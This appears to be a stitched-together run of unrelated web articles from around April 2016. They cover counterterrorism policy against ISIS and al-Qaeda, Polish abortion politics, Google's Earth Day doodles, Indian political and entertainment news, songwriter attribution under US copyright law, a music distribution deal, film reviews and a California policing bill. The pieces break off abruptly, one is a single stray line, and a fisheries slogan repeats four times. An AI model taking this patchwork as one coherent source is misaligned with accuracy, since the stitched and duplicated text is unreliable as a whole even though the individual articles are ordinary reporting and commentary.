While efforts in Syria and Iraq are essential components in the battle against ISIS, the overall war against ISIS and other terrorist organizations is by no means limited to Syria and Iraq. ISIS is morphing from an organization that was primarily focused on establishing a caliphate in Iraq and Syria to being more operational globally, and in Europe in particular, but also in Sub-Saharan Africa and East Asia through its nodes or affiliates. It is also establishing a base of operations in Libya.

Additionally, Al Qaeda (AQ) still remains a force to be reckoned with. In some ways AQ is becoming more dangerous as it both competes for the spotlight with ISIS and is seen by some in the Syrian opposition as a legitimate ally in the fight against Assad, where Al-Nusra, AQ affiliate, has been an effective counter-puncher against the Assad regime.

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ISIS is the next generation terrorist group with more sophisticated and diverse tactics than AQ under bin Laden. ISIS has land, money, digital age propaganda and a regular stream of recruits from around the world. Its so-called piety is laced with technical savvy and a no-holds-barred brutality that appears to have enhanced its appeal.

While the threat of terrorism in the US may not be as immediate as it is in Europe, it only takes one big incident or several smaller ones to turn it into an existential issue. Even more frightening, a NATO official said that terrorists are trying to obtain biological and nuclear materials. This means two things: the fight against ISIS in Syria and Iraq can only be part of the strategy in how to defeat it, particularly as it continues to change and adapt, and there has to be vigilance in staying two steps ahead of ISIS and AQ no matter where they operate if they are to be defeated.

The US has greatly improved its intelligence collection and coordination among government agencies since 9/11. This has been invaluable, but that was then, and now we have a problem with ISIS and a possibly rebooted AQ that will require even more resources and outreach to friends and allies. Starting with the Europeans, we need to help them with their internal coordination effort. As long as they have open borders, they need to do more intel sharing vis-a-vis organizations like Europol, which just established a European-wide counter terrorism coordinating center at the beginning of this year -- the European Counter Terrorism Centre (ECTC).

The EU member states need to quickly implement the recent agreement to establish an airline passenger name recognition (PNR) information system and over the longer term, consider moving to a centralized data base. The European Parliament is concerned about protecting privacy, but there has to be a balance between security and privacy as part of an effective strategy to prevent further attacks like the ones in Paris and Brussels.

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We also need to help the Europeans to develop more effective internal and external border control mechanisms. The issue of admitting migrants is already complicated and will only become more so if there is no confidence in the ability of individual nations and the EU at large to control borders. While the US, like most nations, struggles with the most effective way of making sure its borders are secure, it does have best practices it can share with the EU.

In addition to fighting ISIS and AQ now with tools like the intelligence surge recommended by Secretary Clinton, this fight has to be viewed, as it is by President Obama and others, as a long war. This means dealing with root causes that may be political, economic and even theologically based. Working with communities rather than alienating them is essential to having a sustained and successful fight against terrorists.

During her tenure as Secretary of State, Secretary Clinton's Ambassador for Counterterrorism, Dan Benjamin, had an effective program to connect the US and EU on countering violent extremism. This is the sort of effort that has to continue as part of the battle against ISIS and AQ.

The US is making progress against ISIS in Iraq and Syria, but the terrorist threat continues in Sub-Saharan Africa, the Middle East and East Asia. Worst of all, if NATO officials and others are right and ISIS and other terrorist groups are focused on acquiring WMD then the battle against ISIS and others is not necessarily getting better. Instead, it may be only becoming more dangerous.

Fighting ISIS in Iraq and Syria is only part of the war. The US must push its allies, particularly in Europe, to adopt a much broader and nuanced counter terrorism strategy. There should be no doubt that the President and his national security team are working constantly to stay ahead of ISIS and AQ. His message to the American people that we will protect you and we will defeat ISIS and AQ is the right one. That said, it's easy to get support and public attention in the aftermath of an attack. It is more difficult to sustain support and focus for the day to day hard work of fighting a war that is unconventional and largely without boundaries. But that's what needs to be done.

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They call themselves 'life defenders' and, as Catholics, they believe that life begins at conception. From the moment the man and woman's cells connect, the unborn child has to be protected at all cost, even if that threatens the health or life of its mother.

They plaster huge, graphic images of well developed, blood covered fetuses -- allegedly victims of late abortions -- on cities' walls and online. Some of the posters read: 'This is what feminists want', others: 'Murdering the weak'.

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Young boys march in anti-abortion protests wearing their scout caps and carrying national flags on their shoulders. Religious media condemn abortion even more fervently than the Church.

All of this doesn't happen in a country with extremely liberal abortion laws. It happens Poland where, in accordance with a bill passed in 1993, a pregnancy can only be terminated in case severe fetal abnormalities, a threat to the mother's life or health, or if it is a result of rape. Under no circumstances an abortion can be performed beyond the 12th week. A nationwide, annual average of legally performed procedures crawls below 1,000.

Yet for the life defenders this isn't enough. To enforce an unconditional abortion ban, a new bill was devised by a radical Pro Life organisation. The draft entails up to five years of imprisonment for doctors who perform abortions and up to three years for 'unwillingly causing the death of an unborn child'. As pointed out in a viral Facebook post, a miscarriage could be potentially treated and penalised on par with manslaughter.

The proposal has been put forward to Parliament and it will be discussed as soon as a specially formed legislative committee gathers the signatures required to push the bill through to its first reading.

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By law, 100,000 members of the public are required to back the proposal within three months. It may sound like many but in 2013 one of Pro Life's anti-abortion campaigns was backed by 1.5 million people.

It's not the first time that fanatic ideas have made it to Warsaw's parliament, but it's the first time that they will be discussed in a setup dominated by right-wing, ultra-Catholic deputies.

Since the Law and Justice party (PiS) swept the board in parliamentary elections last October, nationalist conservatism, conspiracy theories regarding the death of the former president (the twin brother of the current party leader), Euro-scepticism and hardline Catholic propaganda took the upper hand.

Grassroots civil opposition became a blessing in disguise. The newly-created Committee for the Defence of Democracy organises nationwide protests against the government. While the national, PiS dominated media remain silent, private outlets show rivers of smiling people chanting anti-PiS slogans. A political conscience of direct democracy awakens in a country where not so long ago, under the Communist rule, nobody believed in the possibility of change.

Most groundbreakingly, gathering to protest against the anti-abortion law, feminists gained national visibility not as 'rabid loudmouths', as they're most often seen and portrayed, but as defenders of humanist values.

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It's a huge step in a country where feminism is still largely misunderstood. It's identified with hatred towards men, the last resort of frustrated women who can't find husbands. Most of the country fears 'gender', a word used almost interchangeably with 'feminism', more than anything else.

Elderly ladies blame it for all of the younger generation's shortcomings. Young men, struggling to make ends meet in the still somewhat immature economy, blame it for troubles with girlfriends. Young girls fear that it will rob them of high heels and makeup. Parents blame it for the homosexuality of their children. The Church blames it for the demise of a traditional family and the life defenders blame it for blood covered fetuses.

However, in response to the Pro Life's anti-abortion project, thousands came out on the streets not only to demand a woman's right to choice, but also to express their discontent at the Church's influence on politics. As the most cruel tool an illegal abortion can be performed with, a metal coat hanger became the symbol of their outrage.

Although Prime Minister Szydlo has publicly expressed her support for the anti-abortion law, some sources claim that PiS isn't entirely content with the proposal.

Party leader Jarosaw Kaczynski allegedly met a high Church representative and urged him to get the anti-abortionists to slow down their pace. He warned that it was too early for the debate which could get out of hand and bring a premature end to PM Szydlo's government.

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Google

Today on the occasion of Earth Day, each time you visit the Google homepage, you'll come across one of five 'doodles' created by Google.

"Earth Day, celebrated annually on April 22, may be the one day that transcends culture, language, and tradition," says Google's doodle-er Sophie Diao.

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The vastness of Earths diversity is an intimidating topic, but Diaos chose to highlight Earths five major biomes (including the one above):

A red fox in a forest:

A polar bear in the tundra region:

A tortoise in the desert

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And an octopus in the ocean:

This Earth Day is particularly important because as many as 170 countries are expected to sign the Paris Agreement on climate change in a symbolic triumph for a landmark deal that once seemed unlikely but now appears on track to enter into force years ahead of schedule.

UN officials have said the signing ceremony will set a record for international diplomacy: Never before have so many countries inked an agreement on the first day of the signing period. As for Google, the search giant that always honours noted events, celebrations and personalities from across the globe, has been 'doodling' Earth Day for a while now.

Here are some of its breathtaking doodles:

2015:

2014:

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2013:

2012:

2011:

2010:

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Hindustan Times via Getty Images NEW DELHI, INDIA - MARCH 20: JNU Studentsa Union President Kanhaiya Kumar speaks during a Public Symposium, on March 20, 2016 in New Delhi, India. The arrest of Kanhaiya Kumar had generated a huge controversy, with the opposition parties accusing the government of suppressing freedom of speech. (Photo by Virendra Singh Gosain/Hindustan Times via Getty Images)

Jawaharlal Nehru University Student Union (JNUSU) president Kanhaiya Kumar has been called a lot of names following his arrest on sedition charges in February. 'Anti-national', 'terrorist', 'separatist', 'rabble-rouser'...and now a doctor.

A fairly obscure and little-known right wing Hindu organisation Veer Sena has now taken it upon themselves to stop Kanhaiya, who according to them is training to be a doctor, from addressing a crowd in Mumbai on April 23.

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The organisation is very worried about the treatment that will be meted out to his patients once Kanhaiya completes his doctorate.

We know that he (Kanhaiya Kumar) is pursuing his PhD from JNU and he is threatening to break the nation to pieces," Niranjan Pal of the Veer Sena told The Hindu.

Pal has an important question: "How can a person like him serve the patients who will approach him after he becomes a doctor?

In a press conference organised by the Hindu Janjagruti Samitee, the patriotic and devout Hindu organisation said that Dr Kanhaiya will spoil the citys atmosphere if he is allowed to address in Mumbai.

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Vaibhav Raut of Hindu Govansh Raksha Samiti is of the opinion that doctor Kanhaiya shouldn't be allowed to live in India.

When the leader was told that Kanhaiya is doing his PhD in African Studies and a doctorate doesn't mean he will become a medical practitioner, Pal was not convinced. So? He will become a doctor anyway and patients will approach him," he said.
Epsilon via Getty Images NEW YORK, NY - APRIL 14: Radhika Apte at 'Madly' Premiere - 2016 Tribeca Film Festival at Chelsea Bow Tie Cinemas on April 14, 2016 in New York City. (Photo by Oleg Nikishin/Epsilon/Getty Images)

Radhika Apte, who's made an impact with films like Shor In The City (2011), Manjhi: The Mountain Man (2015) and Badlapur (2015), has won the prestigious Best Actress (in international narrative) award at the ongoing Tribeca Film Festival in New York.

Radhika has won the honour for Madly, a film that is an amalgamation of six stories portraying contemporary love by six directors from around the world. Radhika appears in the 20-minute segment called Clean Shaven which has been directed by Anurag Kashyap. This is the same short whose clip, featuring a semi-nude Radhika, had leaked online a few months ago, triggering a controversy.

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This is the first time an Indian actress has won the Best Actress award at Tribeca, whose previous winners include Zoe Kazan, Hanna Murray and Rachel Mwanza, among others.

The #Tribeca2016 Award for Best Actress in an International Narrative Feature goes to @Radhika_Apte in MADLY. pic.twitter.com/IM58HypvxD  Tribeca (@Tribeca) April 21, 2016

Predictably, Radhika was flooded with messages from well-wishers from the industry.

U gotta love it when an actor brings home the glory...@radhika_apte we are all fans truly MADly deeply... https://t.co/ol0TZaIIKj  Arjun Kapoor (@arjunk26) April 22, 2016

And the amazing woman that Radhika is, she thanked her director Anurag Kashyap.

So grateful to you @anuragkashyap72 to many more! Love ya  https://t.co/U7wbtFZny3  Radhika Apte (@radhika_apte) April 22, 2016

Here's the full list of winners from Tribeca.

And well done, Radhika!

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ASSOCIATED PRESS India's spiritual leader and founder of Art of Living Foundation Sri Sri Ravi Shankar looks to the crowd through a heart formed with his hands before leading a meditation with thousands of participants in Buenos Aires, Argentina, Sunday, Sept. 9, 2012. (AP Photo/Natacha Pisarenko)

Spiritual leader and founder of the Art of Living Foundation, Sri Sri Ravi Shankar, was allegedly sent a photo of a beheaded man when he tried to broker peace with the Islamic State.

"I tried to initiate peace talks with the ISIS (Islamic State of Iraq and Syria) recently but they sent me a photograph of a beheaded body of a man. Thus, my effort for a peace dialogue with the ISIS ended," Sri Sri was quoted by IANS as saying in Agartala, during a three-day visit to Tripura.

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I tried to initiate peace talks with the ISIS (Islamic State of Iraq and Syria) recently but they sent me a photograph of a beheaded body of a man.

British online newspaper Independent had reported last month that the guru had reached out to the dreaded terrorist group in an effort to help stop the violence and killing it propagated.

ALSO READ: Sri Sri Ravi Shankar Had Reached Out To The ISIS For Peace

In the interview to the Independent, Sri Sri had said dialogue alone was the key to peace with the Islamic terror group but conceded that talks would not succeed if the fighters believed "no-one else has a right to exist".

"Isis is very peculiar. I stretched my hand out to have a dialogue, but when these people think no-one else has a right to exist, talks alone will not work," the 59-year-old spiritual leader said.

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But now that the caliphate has rebuffed his peace overture, Sri Sri is of the opinion that perhaps the best way to deal with them is militarily.

"I think the ISIS does not want any peace talks. Hence, they should be dealt with militarily," IANS quoted him as saying.

Among Shankar's many accomplishments, is staging a gathering in Delhi to mark the 35th anniversary of his Art of Living Foundation that brought together dignitaries from around the world to one stage.

The AOL's function in the national capital, hailed as the "Olympics of culture", was attended by an estimated 3.5 million people but came under severe criticism from environmental groups who claimed that the foundation destroyed the fragile Yamuna flood plains used to host the global event.

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If it ever dissolves into voluntary dissolution, it would be the best thing that would happen to India, says Tarek Fatah in an undated video that has appeared online. Fatah has confirmed the video is not doctored.

Fatah describes himself as an Indian born in Pakistan. A Canadian citizen, Fatahs strident anti-Pakistan rants, and his lazy clubbing of Islamists and leftists, made him a darling of the Hindu right. Fatah is a much-wanted celebrity amongst the Hindu right, especially that section of it which is trying to build a right-wing intellectual ecosystem.

The Canadian-Pakistani political commentator is now so influential among the Indian right-wing that he even takes credit for the renaming of roads in Lutyens Delhi. In August 2015, Fatah had said in a speech in Delhi that Indians were the only people who could stand up to the Islamic state by renaming Aurangzeb Road as Dara Shikoh Road.

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Having given him such prominence and access, the Hindutva brigade is now embarrassed and divided. Some are not convinced, others seeing nuance in the statement, or arguing that Fatahs views have evolved.

Here is the full text of what Fatah says in the video:

Fatah: You see, it was never one country, even during the British. British India is not not one... India has never been one entity even under Ashoka, even under Aurangzeb, it has never been a country. The future that I see, if I had my dreams come true, are about the sub-continent being something like Europe where the entities that exist are Bengal, places like Punjab shouldnt be single entities, shouldnt have borders but should have common currencies, but we are different countries, I dont disagree. There is more in common between someone between say Lahore and Delhi than there is someone between Delhi and Madras.

Interviewer: breakup of India?

Fatah: That is my political analysis of whats going to happen in the future.

Interviewer: Do you agree with the break-up then?

Fatah: If it ever dissolves into voluntary dissolution, it would be the best thing that would happen to India.

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Interviewer: So you think it would be the best thing to dissolve now?

Fatah: Yeah, yeah, Like Europe has.

It is very clear from this conversation that Mr Fatah would like different states of India to have their own flags and passports, like Europe, although he would like a EU-type federation.

That is not a view most Indians would find acceptable. Similar views were aired recently at Jawaharlal Nehru University where some unknown persons shouted slogans calling for the dissolution of India, its break-up in different parts.

While political pressure prevented the Delhi Police from arresting the people who really shouted those slogans, the police took the aid of doctored videos to arrest people who had not shouted any such slogans. These were Kanhaiya Kumar, Anirban Bhattacharya and Umar Khalid.

While doctored videos were enough in JNU to put three students in jail, in Fatahs case, even a real video is not enough for some of his Hindutva fans to wake up and smell the coffee. Fatah first responded by going underground, protecting his Twitter account and not responding to even his Hindutva fans queries to explain his statement. After two days of hiding, he wrote a response, in which he didnt say the video is doctored. Instead, like a spy whose cover is blown, he said it was Khalistanis and Pakistans ISI at work to discredit him -- by broadcasting his own words.

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He claims the video was shot in 2003 or 2004. It was part of a debate he was having with Khalistanis, wherein he was opposing the idea of Khalistan. In doing so, he claims, he was only rhetorically saying that if there were to be an independent Punjab it should include Pakistani cities such as Lahore, Nankana Sahib, Gujranwala and Rawalpindi.

Fatah writes, If this was not a discussion about Khalistan, there is no way I would have made the above statement. In polemics the absurdity of an argument is at times best exposed through an equally absurd argument. Such is the battlefield of impromptu debate over heated issues.

The only problem in believing that Fatah was championing Indias cause before rebel Khalistanis is that he did call for Indias dissolution, and clearly agreed with the interviewer when asked if hes for Indias break-up. Dishonestly, Fatah does not explain these statements in his rebuttal.

As recently as August 2014, Fatah had tweeted that while he opposes Khalistan, he is for the creation of an independent Punjab comprising of both east and west Punjab.

Effectively, Fatah is calling for breaking away the state of Punjab from the Indian union. How is this person a poster-boy of the Hindutva brigade, is bizarre. Could it be that Fatah has been fooling the Hindutva brigade by give them what they want  dollops of Islamophobia with the legitimacy of it coming from a Muslim name?

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MANAN VATSYAYANA via Getty Images Chairman and CEO of India's Kingfisher Airlines Vijay Mallya talks on his cellphone during a meeting with pilots in New Delhi on March 15, 2012. Chairman of the beleaguered airline Vijay Mallya was scheduled to meet pilots in the Indian capital in an attempt to steer it out of the crisis. India's Kingfisher Airlines earlier curtailed its overseas flights to avoid losing further cash as it struggles to keep flying amid mounting operational difficulties. AFP PHOTO/ Manan VATSYAYANA (Photo credit should read MANAN VATSYAYANA/AFP/Getty Images)

The Morning Wrap is HuffPost India's selection of interesting news and opinion from the day's newspapers. Subscribe here to receive it in your inbox each weekday morning.

Essential HuffPost

RK Pachauri, former chief of TERI, who is facing serious sexual harassment allegations from a junior colleague, said that he voluntarily decided to end his association with the climate think-tank, which he headed for over 35 years. "I felt that it was time for me to move away and get engaged in other interests which I have harboured over the past few years for activities at the global level," he said.

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E-commerce giant Amazon recently surprised a seven-year-old Delhi boy with a lightsaber, a popular toy from the Star Wars franchise. The boy, who had been saving money for the toy, had written an endearing note, where he asked Amazon whether they would accept coins (that's how he saved the money) when he ordered the product on cash-on-delivery service. Amazon not only sent him the lightsaber as a gift, but also sent him some lovely personal messages.

A 20-year-old engineering student, Divyanshu Kumar alias Golu, has been arrested for allegedly hacking Rashtriya Janata Dal (RJD) chief Lalu Prasad's Facebook account. According to reports, Golu had hacked the RJD chief's Facebook account on 13 March, had allegedly posted 'objectionable comments' on his page.

In a gesture to support drought-hit Maharashtra, actor Riteish Deshmukh, whos currently shooting his next film Banjo with Nargis Fakhri, decided to scrap the use of fake-rain in a song the unit recently shot. Deshmukh said that as he hailed from Latur, he understood the problems faced by the people in the drought-hit area.

Main News

The Uttarakhand High Court on Thursday set aside the order of the Centre that put the state under President's Rule on 27 March. Allowing former CM Harish Rawat's plea challenging the imposition of President's Rule, the High Court said the nine dissident Congress MLAs will now have to pay the price of committing 'Constitutional sin' of defection by being disqualified. The court has now ordered a fresh floor test on 29 April.

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Urmilaben Patel, former Union Minister and wife of former Gujarat Chief Minister late Chimanbhai Patel, passed away in Ahmedabad following a brief age-related illness, state Congress said in a statement. She was 85 years old.

Liquor baron Vijay Mallya who is facing a non-bailable arrest warrant, told the Supreme Court that he was prepared to deposit an additional 2,468 crore over and above the earlier offer of 4,400 crore against the demand of 9,000 crore by a consortium of banks led by State Bank of India (SBI). He still is maintaining silence over his return to India.

India is the second most targeted country for social media scams, announced the Internet Security Threat Report released by software security firm Symantec. The report also added that India 156 per cent rise last year in the number of scams via social media where users interact with malicious content shared by those on their networks.

Off The Front Page

BJP MP and Madhya Pradesh Home Minister Babulal Gaur recently launched an Android-based mobile app named 'Massom Milap' which will help register lost and found children. Gaur also said that the app will be particularly useful in the light of the upcoming Simhastha mela, which is held every 12 years in Madhya Pradesh and sees visitors from all over the world.

Bollywood star Hrithik Roshan has deposited copies of the emails, said to have been sent by actress Kangana Ranaut him, with the Cyber Crime Investigation Cell. But Ranaut's lawyer maintains that her account was hacked by Roshan and that he had sent all the emails from her account to himself.

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Air India flight headed from Melbourne to Delhi had to make an unscheduled landing in Singapore because rats were spotted on the airplane. The sight of the unwelcome passengers naturally sent the entire plane in hysteria, forcing the plane to make an unexpected stop.

A father from Punjab took revenge against a teenaged boy who raped his 7-month-old baby daughter in the most gruesome way possible. The man from Kotli Ablu tied the 17-year-old alleged perpetrator to a tree and chopped off his hands with a machete. The father is now on the run.

Opinion

Arbitrarily invalidating private contracts, as with Bt cottonseed royalties, will dissuade investors, wrote Bharat Ramaswam and Milind Murugkar in The Indian Express. "The NDA government has preferred to continue the legacy of the UPA administration and various state governments. The not-so-secret sauce is to: One, maintain costly and unpredictable regulatory structures; two, reduce entry and competition; and three, acknowledge the stupendous demand for the commercialised product by squeezing the monopolist incumbent," they write.

The Delhi governments decision to ban surge pricing by taxi service aggregators, which follows a similar ban imposed by Karnataka, is misguided, says an editorial in The Hindu. "The odd-even scheme may be a welcome intervention to reduce traffic congestion in the Union Territory, but the decision to clamp down on surge pricing by taxi aggregators, which is set to continue even after Phase Two of the odd-even scheme ends on 30 April, is counterproductive," says the editorial.

"Should Incredible India's mascot be an aged, fake haired, highly touchy, insecure, has-been, nepotistic individual? I would say yes, of course! Who else," writes Aakar Patel in Mumbai Mirror. "Incredible as we all know, has two meanings. The first is 'fantastic'. Perhaps that is what the government meant in telling foreigners India is incredible. However the Latin root of the same word says incredible is that is which is not credible. Incredibilis means not worthy of belief. My suspicion: is this what successive governments have meant when trying to lure people to coming to India? Have they been clever without being untruthful," he asks.

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Hutchinson's Salvation Army started in 1894

In 1910, under Captain George Seeds, the citadel at 114 West Sherman St. was built.
Compulsory Licenses Must Require Display Of Songwriter Credits

In this article, we look the value of artists' rights and why the U.S. government should require that digital music services provide proper attribution to songwriters when compulsory licenses relating to said artist are obtained.

________________________________

Guest Post by Chris Castle of Music Tech Solutions

In Washington, DC yesterday, I was honored to participate in a symposium on the subject of moral rights sponsored by the U.S. Copyright Office and the George Mason University School of Laws Center for the Protection of Intellectual Property. The symposiums formal title was Authors, Attribution and Integrity and was at the request of Representative John J. Conyers, Jr., the Ranking Member of the House Judiciary Committee. (The agenda is linked here. For an excellent law review article giving the more or less current state of play on moral rights in the U.S., see Justin Hughes American Moral Rights and Fixing the Dastar Gap.)

The topic of attribution or as it is more commonly thought of as credit is extraordinarily timely as it is on the minds of every music creator these days. Why? Digitial music services have routinely refused to display any credits beyond the most rudimentary identifiers for over a decade, and of course the pirate sites that Google drives a tsunami of traffic to are no better.

Yet these services frequently rely on government mandated compulsory licenses (in Copyright Act Sections 114 and 115), near compulsory licenses in the ASCAP and BMI consent decrees, and of course the sainted safe harbor, the DMCA notice and takedown being a kind of defacto license all its own particularly for independent artists and songwriters without the means to play. They get the shakedown without the takedown.

Moral rights are typically thought of as two separate rights: attribution, which is essentially the right to be credited as the author of the work, and integrity the authors right to protect the work from any derogatory action prejudicial to his honor or reputation. They can be found most relevantly for our purposes in the Berne Convention, the fundamental international copyright treaty to which the U.S. signed on to in 1988. (Specifically Article 6bis.)

It is important to understand that the United States agreed to be subject to the international treaties protecting moral rights and that these rights are different and separate from copyright. Copyright is thought of as an economic right, while moral rights continue even after an author may have transferred the copyright in the work. Even so, both the moral rights of authors (and the material rights) are recognized as a human right by Article 27 of the Universal Declaration of Human Rights. Or as Gloria Steinem said, artist rights are human rights.

The question then came up, why should the U.S. government require songwriters to license their works through the compulsory license without also requiring proper attribution consistent with Americas treaty obligations, good sense and common decency?

Why not indeed.

It is important to note that there are certain requirements relating to the names of the authors that are required by regulations for sending a Notice of Intention to use a song under the compulsory license which is what starts the formal compulsory license process. The required Content of an NOI is stated in the regulations is:

(d) Content. (1) A Notice of Intention shall be clearly and prominently designated, at the head of the notice, as a Notice of Intention to Obtain a Compulsory License for Making and Distributing Phonorecords, and shall include a clear statement of the following information. (v) For each nondramatic musical work embodied or intended to be embodied in phonorecords made under the compulsory license: (A) The title of the nondramatic musical work; (B) The name of the author or authors, if known; (C) A copyright owner of the work, if known

As I suspect based on the various lawsuits against Spotify over its apparent failures in the handling of these NOIs, the if known modifying the name of the author or authors is actually translated as dont bother as most of the form NOIs dont even have a box for that information. This is a bit odd, because if the song is registered with the Copyright Office, the names of the authors most likely are listed in the registration and thus are known.

The question for moral rights purposes, of course, is not whether the music user sends the names of the authors in the NOIpresumably the copyright owner already knows who wrote the song. The question is whether the music userdisplays the names of the authors of a song on their service, or better yet, is required to display those names so that the public knows.

This seems a very small price to pay when balanced against the extraordinarily cheap compulsory license that songwriters are required to grant with very little recourse against the music user for noncompliance. (Short of an unimaginably expensive federal copyright lawsuit against a rich digital music service, of course.) As the Spotify litigation is demonstrating, these services only have about a 75% compliance rate as it is, if that much.

It is pretty commonplace stuff for liner notes to include all of the creative credits. So who is behind the times? The artist releasing a physical disc with all of these credits, or the digital music service with its infinite shelf space that doesnt bother with 95% of themparticularly the multinational media corporation dedicated to organizing the worlds information whether the world likes it or not? And were not even broaching the topic of classical music, where the metadata and credits on digital services are dreadful.

In fairness, I have to point out that iTunes has made great strides in cleaning up this problem voluntarily, at least for songwriters. Which goes to show it can be done if the service wants it done.

Digital services should care about whether the songwriters are fairly treated as ultimately songwriters create the one product the services have built their business onsongs. There is an increasing level of distrust between songwriters and services, so proper attribution can help to restore trust.

As it stands, a generation or two now have little knowledge of who wrote the songs, who played on the records, much less who produced or engineered the records they supposedly love and who definitely contribute to the $8 billion valuation of services like Spotify.

It seems that at least the failure to accord songwriters their moral right of attribution could be fixed in the regulations without need of amending the Copyright Act by requiring the collection and display of songwriter credits at least if those credits are part of a copyright registration. This might have the additional benefit of encouraging songwriters to register their works.

Google will no doubt vigorously lead the charge to oppose this change because that is their customary knee jerk reaction that often colors all digital services with a uniquely Googlely brush. Even so, I think this is a worthy path for both songwriters and services to pursue and could solve a number of accounting and recordation problems utilizing information that is readily availableto everyones advantage in furthering vital transparency. And as we know, transparency begins upstream.

Why? Because everyone has the right to the protection of the moral and material interests resulting from any scientific, literary or artistic production of which he is the author. (Article 27, Universal Declaration of Human Rights.)

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WMGs ADA Inks BMG For Global Distribution

Remember when BMG sold its mega-share of Sony BMG vowing to exit the recorded music business. In the last 2 years, theyve re-entered the record marketplace via acquisitions and creative partnerships; and now theyve partnered with former rival WMG for distribution.

Warner Music Groups independent distribution operation ADA Music has signed an exclusive global distribution deal with BMG over the companys extensive recorded music catalog. The deal includes material from the catalogs a number of labels acquired including Sanctuary, Mute, Dreyfus, Skint/Loaded, Infectious, Union Square, Vagrant, S-Curve and Rise Records.



ADA will also oversee the lions share of BMGs new releases across the globe, with Sony Music internationally, in addition to [PIAS] (ex-US), Absolute Label Services (UK), and GoodToGo (Continental Europe) handling some releases.

The rapid pace of our growth in the past three years has led to our inheriting or acquiring more than 50 digital and physical distribution relationships around the world. This will now gradually fall to a handful as we consolidate with a small number of suppliers, BMG CFO Max Dressendorfer wrote in an internal company email obstained by MBW.

He added: We have been incredibly impressed by the ADA team, their infrastructure and determination to deliver for our artists. We are delighted to be working with them.

via Celebrity Access

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'Hello, My Name Is Doris': Puts the Sex in Sexagenarian

In director Michael Showalter's "Hello, My Name Is Doris," Sally Field as the loveably quirky Doris Miller manages, in one fell swoop, to deliver a treatise on individualism, joie de vie, grace in aging and how to battle the challenge of unrequited love. It is a tour de force that entertainingly reminds what a national treasure this now older gal next door has become.



We meet the eccentric, 60-something lady on the sad occasion of her 91-year-old mother's funeral, and soon gather that the title character has spent the better part of her life devotedly caring for Mom. Commuting from Staten Island to her New York City accounting job in some non-descript new age company that deemed it politically correct to retain some of the older employees, she's seen as a slightly mysterious relic. We're certainly curious.



More or less mixing and matching a plethora of loud prints that would leave a fashionista flummoxed for a description of her attire, she regularly tops it all off with a large bow in her hair, the coup de grace declaring her eccentricity. Doubtless you'll recall from childhood the man or woman in your neighborhood who cast a similar image, someone decidedly afield of the mainstream who scared you just a little, but all the same suggested the plausibility of infinite lifestyles. Well, that's Doris.



Heretofore, she has had few friends, her day confined to work, rummaging through and collecting discarded items along her daily commute, and seeing to mother's needs. But we've happily meet her at a watershed, when the excuse for not exploring the possibilities of self-realization no longer exists. It is a brave new world and, perhaps, might have been forgone, were it not for the serendipitous arrival of Max Greenfield's John Fremont, the new art director some 30 years Doris' junior.



She is smitten. Whatever libidinous spark had lain dormant in Doris all these years is suddenly reawakened with a romantic magic suggesting a senior citizen version of the kiss that brought Snow White back to life.



Now, I'm not sure how the implications of Doris' suddenly unleashed longing would be viewed in Bora Bora or among the Inuit people of Greenland. However, in the portion of Western Civilization that we call home, some folks would surely define the dear lady  and she is a dear lady  in rather unkind terms. Phooey to them. What do they know?



There are two forces working here to draw our interest. First, there is that omnipotent power of love that, most of us can attest, defies all reason. Secondly, Doris quickly inveigles her way into our hearts. We want to see her happy, and we'll worry about all the impracticalities later. Hence, we cast our vote for this potential, May-September romance, affirming that the goose, like the gander, is entitled to shop for a mate in the younger aisle if that's what strikes her fancy.
'Barbershop: The Next Cut': Seriously Styled

A tragic dilemma confronts director Malcolm D. Lee's "Barbershop: The Next Cut," the fourth in the "Barbershop" film series if you count the spin-off, "Beauty Shop" (2005). While it is a heartfelt and generally successful attempt to lay bare and ponder solutions to the rampant murder rate in urban America (in this specific case, Chicago), the filmmaker also attempts to deliver the rollicking trademark humor that viewers have come to expect from the franchise. The unfortunate result is two disparate natures that never quite meld.



Like a cartoon train that jumps back and forth from one set of tracks to another, one marked serious, the other funny, the script rarely ventures beyond its albeit well-intentioned didacticism. It so urgently wants to make its points, to take full advantage of the pulpit the popularity of the series might afford, that the rudimentary message forsakes practically all artistic risk. It would take a far more creative bit of writing to achieve that reverse Pagliacci essence, wherein the author seamlessly evokes the humor in his tragedy.



Here, the familiar group of regulars at Calvin's Barbershop, recently joined out of economic necessity by the gals from Angie's (Regina Hall) beauty salon next door, is now relegated to supplying the comedy relief, their hijinks secondary to the social issue. Still, with Ice Cube's Calvin as the unofficial referee of their chiding, bantering and mostly good-natured one-upmanship, they are able, in some degree, to recapture the convivial sense of community the barbershop is meant to represent.



Of course the merger adds a new wrinkle to the plot possibilities, reminding why some school systems used to advocate a separation of the sexes. Expect a few flirtations, some jealousies, one big soap opera misconception and a running debate on the truths, fallacies and utter confusion wrought by la difference.



Principal debaters new and old who register their opinions in a Greek chorus chanted from behind their chairs are, in addition to Ice Cube: Rashad, played by Common; Utkarsh Ambudkar as Raja, offering his non-black point of view; Nicki Minaj as Draya, the resident femme fatale; Cedric the Entertainer as good old Eddie, who can be counted on for his oft politically incorrect pearls of wisdom; Rashad's wife Terri, portrayed by Eve; Jazsmin Lewis as Jennifer, the feminist voice; and J.B Smoove as wily One-Stop.



The storyline is basic. The Southside is getting worse and worse, the sociocultural casualty of increasing gang violence. Politicians have suggested surrounding it with a wall. Gee, doesn't that sound familiar? Secretly, Calvin harbors thoughts of giving up the fight and relocating to the North Side. However, respect for the neighborhood institution his dad founded, as well as a dedication to his loyal band of cohorts, stirs him to make one last stab at winning back the civility of yesteryear.


We work towards an equitable,

gender-just, self-reliant and

sustainable fisheries,

particularly in the small-scale,

artisanal sector

We work towards an equitable,

gender-just, self-reliant and

sustainable fisheries,

particularly in the small-scale,

artisanal sector

We work towards an equitable,

gender-just, self-reliant and

sustainable fisheries,

particularly in the small-scale,

artisanal sector

We work towards an equitable,

gender-just, self-reliant and

sustainable fisheries,

particularly in the small-scale,

artisanal sector
Attorney General D. Kamala Harris Sponsors Legislation to Expand Principled Policing Training for Law Enforcement

Sacramento, California - Attorney General Kamala D. Harris and Assemblymembers Reggie Jones- Sawyer and Rob Bonta have introduced legislation to expand Principled Policing training to law enforcement agencies across the state to address issues of implicit bias and community trust.

The legislation, AB 2626, would require the Commission on Peace Officer Standards and Training (POST) to create and offer a course for peace officers on procedural justice and implicit bias. The new law enforcement training would be modeled on the POST-certified course created by Attorney General Harris last year, the first of its kind in the country.

